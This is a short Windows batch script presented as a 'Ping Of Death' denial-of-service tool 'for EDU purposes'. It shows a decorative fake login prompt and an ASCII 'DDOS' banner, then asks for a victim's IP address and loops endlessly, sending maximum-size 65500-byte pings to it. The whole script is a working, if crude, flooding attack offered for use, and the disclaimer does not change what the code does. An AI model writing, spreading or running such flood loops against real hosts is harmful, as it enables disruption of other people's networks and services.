Ping Of Death Attack|EDU PURPOSES

Copy from line 4 to end | the password is any character and then hit enter, cannot use the program unless any letter or digit is typed
not same for the username(example:90->enter) | all just for show | I am not responsible for the use of this weak attack!!
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@echo off
Title DENIAL OF SERVICE
color a
pause
echo ================================================
echo PRESS ENTER TO COMMENCE THE DOS...
echo=================================================

set /p user=Username:
:A
echo Enter Any Key and Press Enter To Activate Program.
set/p "pass=>"
if not %pass%== BLANK goto :FAIL
:FAIL
echo.
cls color a

echo DDDDDDDDDDDDD      DDDDDDDDDDDDD             OOOOOOOOO        SSSSSSSSSSSSSSS
echo D::::::::::::DDD   D::::::::::::DDD        OO:::::::::OO    SS:::::::::::::::S
echo D:::::::::::::::DD D:::::::::::::::DD    OO:::::::::::::OO S:::::SSSSSS::::::S
echo DDD:::::DDDDD:::::DDDD:::::DDDDD:::::D  O:::::::OOO:::::::OS:::::S     SSSSSSS
echo   D:::::D    D:::::D D:::::D    D:::::D O::::::O   O::::::OS:::::S
echo   D:::::D     D:::::DD:::::D     D:::::DO:::::O     O:::::OS:::::S
echo   D:::::D     D:::::DD:::::D     D:::::DO:::::O     O:::::O S::::SSSS
echo   D:::::D     D:::::DD:::::D     D:::::DO:::::O     O:::::O  SS::::::SSSSS
echo   D:::::D     D:::::DD:::::D     D:::::DO:::::O     O:::::O    SSS::::::::SS
echo   D:::::D     D:::::DD:::::D     D:::::DO:::::O     O:::::O       SSSSSS::::S
echo   D:::::D     D:::::DD:::::D     D:::::DO:::::O     O:::::O            S:::::S
echo   D:::::D    D:::::D D:::::D    D:::::D O::::::O   O::::::O            S:::::S
echo DDD:::::DDDDD:::::DDDD:::::DDDDD:::::D  O:::::::OOO:::::::OSSSSSSS     S:::::S
echo D:::::::::::::::DD D:::::::::::::::DD    OO:::::::::::::OO S::::::SSSSSS:::::S
echo D::::::::::::DDD   D::::::::::::DDD        OO:::::::::OO   S:::::::::::::::SS
echo DDDDDDDDDDDDD      DDDDDDDDDDDDD             OOOOOOOOO      SSSSSSSSSSSSSSS
set /p IP=Enter Victims IP:
:top

:loop
ping %IP% -l 65500 -w 1 -n 1
title                         SENDING 65500 BYTES TO:%IP%
goto :loop